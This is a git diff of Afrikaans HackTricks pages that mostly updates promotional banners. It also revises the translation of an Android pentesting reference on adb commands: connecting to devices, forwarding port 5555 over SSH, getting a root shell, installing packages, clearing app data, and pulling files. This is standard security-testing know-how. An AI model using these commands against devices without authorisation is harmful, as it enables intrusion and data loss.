-Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Ondersteun HackTricks -Ander maniere om HackTricks te ondersteun: - -* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke. +* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)! +* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} {% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %} @@ -60,16 +61,17 @@ Ander maniere om HackTricks te ondersteun: {% embed url="https://ippsec.rocks/" %} +{% hint style="success" %} +Leer & oefen AWS Hacking:[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Leer & oefen GCP Hacking: [**HackTricks Opleiding GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Ondersteun HackTricks -Ander maniere om HackTricks te ondersteun: - -* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke. +* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)! +* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/mobile-pentesting/android-app-pentesting/adb-commands.md b/mobile-pentesting/android-app-pentesting/adb-commands.md index a88ac4e9e..20c578a0d 100644 --- a/mobile-pentesting/android-app-pentesting/adb-commands.md +++ b/mobile-pentesting/android-app-pentesting/adb-commands.md @@ -1,16 +1,17 @@ +{% hint style="success" %} +Leer & oefen AWS Hacking:[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Leer & oefen GCP Hacking: [**HackTricks Opleiding GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Ondersteun HackTricks -Ander maniere om HackTricks te ondersteun: - -* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke. +* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)! +* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} **Adb is gewoonlik geleë in:** @@ -21,31 +22,31 @@ C:\Users\\AppData\Local\Android\sdk\platform-tools\adb.exe #MacOS /Users//Library/Android/sdk/platform-tools/adb ``` -**Inligting verkry vanaf:** [**http://adbshell.com/**](http://adbshell.com) +**Inligting verkry van:** [**http://adbshell.com/**](http://adbshell.com) # Verbinding ``` adb devices ``` -Hierdie sal die gekoppelde toestelle lys; as "_**ongemagtig**_" verskyn, beteken dit dat jy jou **selfoon** moet **ontblokkeer** en die verbinding **aanvaar**. +Dit sal die gekonnekte toestelle lys; as "_**onbevoeg**_" verskyn, beteken dit dat jy jou **mobiele** moet **ontsluit** en die verbinding moet **aanvaar**. -Dit dui die toestel aan dat dit 'n adb-bediener op poort 5555 moet begin: +Dit dui aan die toestel aan dat dit 'n adb-bediener op poort 5555 moet begin: ``` adb tcpip 5555 ``` -Koppel aan daardie IP en daardie Poort: +Verbind met daardie IP en daardie Poort: ``` adb connect : ``` -As jy 'n fout soos die volgende kry in 'n Virtuele Android-program (soos Genymotion): +As jy 'n fout soos die volgende in 'n Virtuele Android-sagteware (soos Genymotion) kry: ``` adb server version (41) doesn't match this client (36); killing... ``` -Dit is omdat jy probeer om te verbind met 'n ADB-bediener met 'n ander weergawe. Probeer net om die adb-binêre lêer te vind wat die sagteware gebruik (gaan na `C:\Program Files\Genymobile\Genymotion` en soek na adb.exe) +Dit is omdat jy probeer om met 'n ADB-bediener van 'n ander weergawe te verbind. Probeer net om die adb-binary te vind wat die sagteware gebruik (gaan na `C:\Program Files\Genymobile\Genymotion` en soek vir adb.exe) ## Verskeie toestelle -Wanneer jy **verskeie toestelle aan jou rekenaar gekoppel** vind, sal jy moet **spesifiseer in watter een** jy die adb-opdrag wil uitvoer. +Wanneer jy **verskeie toestelle wat aan jou masjien gekoppel is** vind, sal jy **moet spesifiseer in watter een** jy die adb-opdrag wil uitvoer. ```bash adb devices List of devices attached @@ -58,16 +59,16 @@ adb -s 127.0.0.1:5555 shell x86_64:/ # whoami root ``` -## Poorttunneling +## Port Tunneling -In die geval waar die **adb** **poort** slegs **toeganklik** is vanaf die **localhost** op die Android-toestel, maar **jy het toegang via SSH**, kan jy die poort 5555 **deurstuur** en verbind via adb: +In die geval waar die **adb** **poort** slegs **toeganklik** is vanaf **localhost** op die Android-toestel, maar **jy het toegang via SSH**, kan jy die **poort 5555** **voordeur** en via adb aansluit: ```bash ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222 adb connect 127.0.0.1:5555 ``` # Pakketbestuurder -## Installeer/Deïnstalleer +## Installeer/Verwyder ### adb install \[opsie] \ ```bash @@ -85,7 +86,7 @@ adb install -d test.apk # allow version code downgrade adb install -p test.apk # partial application install ``` -### adb deïnstalleer \[opsies] \ +### adb uninstall \[options] \ ```bash adb uninstall com.test.app @@ -93,9 +94,9 @@ adb uninstall -k com.test.app Keep the data and cache directories around after p ``` ## Pakkette -Druk alle pakkette af, opsioneel slegs dié waarvan die pakketnaam die teks in \ bevat. +Druk alle pakkette af, opsioneel slegs dié waarvan die pakketaan naam die teks in \ bevat. -### adb shell pm lys pakkette \[opsies] \ +### adb shell pm list packages \[options] \ ```bash adb shell pm list packages @@ -115,43 +116,43 @@ adb shell pm list packages -u #Also include uninstalled packages. adb shell pm list packages --user #The user space to query. ``` -### adb shell pm path \ +### adb shell pm path \ Druk die pad na die APK van die gegewe . ```bash adb shell pm path com.android.phone ``` -### adb shell pm clear \ +### adb shell pm clear \ -Verwyder alle data wat geassosieer word met 'n pakket. +Verwyder alle data wat met 'n pakket geassosieer is. ```bash adb shell pm clear com.test.abc ``` -# Lêerbestuurder +# File Manager ### adb pull \ \[local] -Laai 'n gespesifiseerde lêer van 'n emulator/toestel af na jou rekenaar. +Laai 'n spesifieke lêer van 'n emuleerder/toestel na jou rekenaar af. ```bash adb pull /sdcard/demo.mp4 ./ ``` -### adb push \ \ +### adb push \ \ -Laai 'n gespesifiseerde lêer vanaf jou rekenaar na 'n emulator/toestel. +Laai 'n spesifieke lêer van jou rekenaar na 'n emuleerder/toestel op. ```bash adb push test.apk /sdcard ``` -# Skermvaslegging/Skermrekord +# Screencapture/Screenrecord -### adb shell screencap \ +### adb shell screencap \ -Neem 'n skermvaslegging van 'n toestel se vertoning. +Neem 'n skermskoot van 'n toestel se skerm. ```bash adb shell screencap /sdcard/screen.png ``` -### adb shell screenrecord \[opsies] \ +### adb shell screenrecord \[options] \ -Die opname van die skerm van toestelle wat Android 4.4 (API-vlak 19) en hoër hardloop. +Opname van die skerm van toestelle wat Android 4.4 (API-vlak 19) en hoër draai. ```bash adb shell screenrecord /sdcard/demo.mp4 adb shell screenrecord --size @@ -160,27 +161,27 @@ adb shell screenrecord --time-limit